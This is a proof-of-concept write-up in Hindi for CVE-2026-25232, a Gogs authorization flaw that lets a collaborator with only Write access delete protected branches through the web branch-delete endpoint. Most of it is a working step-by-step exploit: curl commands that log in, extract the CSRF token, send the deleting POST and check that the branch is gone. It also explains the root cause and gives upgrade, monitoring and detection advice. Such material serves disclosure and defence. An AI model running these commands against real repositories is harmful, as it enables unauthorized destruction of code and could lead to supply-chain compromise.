
CVE-2026-25232 के लिए प्रूफ ऑफ कॉन्सेप्ट, जो Gogs में मौजूद एक प्रिविलेज एस्केलेशन (priv esc) भेद्यता है।
| फ़ील्ड | विवरण |
|---|---|
| CVE | CVE-2026-25232 |
| उत्पाद | Gogs (Go Git Service) |
| प्रभावित संस्करण | <= 0.13.4 |
| स्थिर संस्करण | 0.14.1 |
| CVSS स्कोर | मध्यम |
| CWE | CWE-863: गलत प्राधिकरण |
| प्रमाणीकरण आवश्यक | हाँ (रिपॉजिटरी पर Write अनुमतियाँ) |
| प्रभाव | Write → Admin स्तर के संचालन से विशेषाधिकार एस्केलेशन |
CVE-2026-25232 Gogs वेब इंटरफ़ेस में एक एक्सेस कंट्रोल बाईपास भेद्यता है। यह Write अनुमतियों वाले किसी भी रिपॉजिटरी सहयोगी को DeleteBranchPost एंडपॉइंट पर सीधा POST अनुरोध भेजकर संरक्षित शाखाओं — डिफ़ॉल्ट शाखा सहित — को हटाने की अनुमति देता है, जो शाखा सुरक्षा तंत्रों को पूरी तरह से बाईपास करता है।
मूल कारण Git Hook परत और वेब इंटरफ़ेस के बीच शाखा सुरक्षा लागू करने के तरीके में अंतर है:
DeleteBranchPost फ़ंक्शन Git Hooks को ट्रिगर नहीं करता है, इसलिए सुरक्षा जाँच कभी निष्पादित नहीं होती हैयह कम-विशेषाधिकार वाले सहयोगी को ऐसे संचालन करने की अनुमति देता है जो केवल रिपॉजिटरी प्रशासकों तक सीमित होने चाहिए।
http://<TARGET>:3001attacker:Password123! (रिपो पर Write अनुमतियाँ)admin/important-repomain (डिफ़ॉल्ट शाखा)पुष्टि करें कि शाखा संरक्षित है और सामान्य माध्यमों से हटाई नहीं जा सकती:
# API के माध्यम से सामान्य शाखा विलोपन का प्रयास करें - यह विफल होना चाहिए
curl -s -X DELETE 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches/main' \
-u 'attacker:Password123!'
अपेक्षित प्रतिक्रिया: 403 Forbidden या सुरक्षा त्रुटि।
किसी भी प्रमाणित पृष्ठ से CSRF टोकन प्राप्त करें:
curl -s -c cookies.txt -b cookies.txt \
'http://<TARGET>:3001/user/login' \
-X POST \
-d 'user_name=attacker&password=Password123!'
# रिपो पृष्ठ से CSRF टोकन निकालें
curl -s -c cookies.txt -b cookies.txt \
'http://<TARGET>:3001/admin/important-repo' \
| grep -o '_csrf" content="[^"]*"' | cut -d'"' -f3
सुरक्षा जाँच को बाईपास करते हुए शाखा विलोपन एंडपॉइंट पर सीधा POST अनुरोध भेजें:
curl -s -X POST 'http://<TARGET>:3001/admin/important-repo/branches/delete' \
-b cookies.txt \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d '_csrf=<CSRF_TOKEN>&name=main'
हमलावर के पास केवल Write अनुमतियाँ होने के बावजूद संरक्षित शाखा हटा दी जाती है।
curl -s 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches' \
-u 'attacker:Password123!'
main शाखा अब प्रतिक्रिया में दिखाई नहीं देगी।
Gogs के वेब हैंडलर में DeleteBranchPost फ़ंक्शन सत्यापित करता है कि उपयोगकर्ता प्रमाणित है और उसके पास रिपॉजिटरी तक Write पहुँच है, लेकिन यह जाँच नहीं करता कि लक्ष्य शाखा संरक्षित है या नहीं:
HTTP POST /owner/repo/branches/delete
↓
DeleteBranchPost()
↓
जाँच: क्या उपयोगकर्ता प्रमाणित है? ✓
जाँच: क्या उपयोगकर्ता के पास Write पहुँच है? ✓
जाँच: क्या शाखा संरक्षित है? ✗ (अनुपस्थित)
↓
शाखा सफलतापूर्वक हटाई गई
शाखा सुरक्षा लागू करने वाली Git Hook परत केवल SSH या HTTP Git प्रोटोकॉल पर Git पुश/विलोपन संचालन के दौरान ट्रिगर होती है — वेब इंटरफ़ेस संचालन के दौरान नहीं। यह वास्तुशिल्प अंतर किसी भी Write-स्तर के सहयोगी को यह संचालन करने की अनुमति देता है।
Write अनुमतियों वाला एक दुर्भावनापूर्ण सहयोगी निम्न कार्य कर सकता है:
ऐसे वातावरणों में जहाँ Gogs रिपॉजिटरी स्वचालित परिनियोजन पाइपलाइनों में फीड करती हैं, यह आपूर्ति श्रृंखला समझौते का कारण बन सकता है।
Gogs v0.14.1 या बाद के संस्करण में अपग्रेड करें। फिक्स DeleteBranchPost फ़ंक्शन में उचित प्राधिकरण जाँच जोड़ता है ताकि अनुरोध कैसे भी किया जाए, विलोपन की अनुमति देने से पहले शाखा सुरक्षा स्थिति सत्यापित हो।
अस्थायी शमन के रूप में:
/repos/{owner}/{repo}/branches/delete पर अप्रत्याशित POST अनुरोधों के लिए वेब सर्वर लॉग की निगरानी करेंशोषण के निम्नलिखित संकेतकों की तलाश करें:
/<owner>/<repo>/branches/delete पर अप्रत्याशित POST अनुरोधयह PoC केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए है। उन प्रणालियों के विरुद्ध उपयोग न करें जिनका परीक्षण करने की आपके पास स्पष्ट अनुमति नहीं है।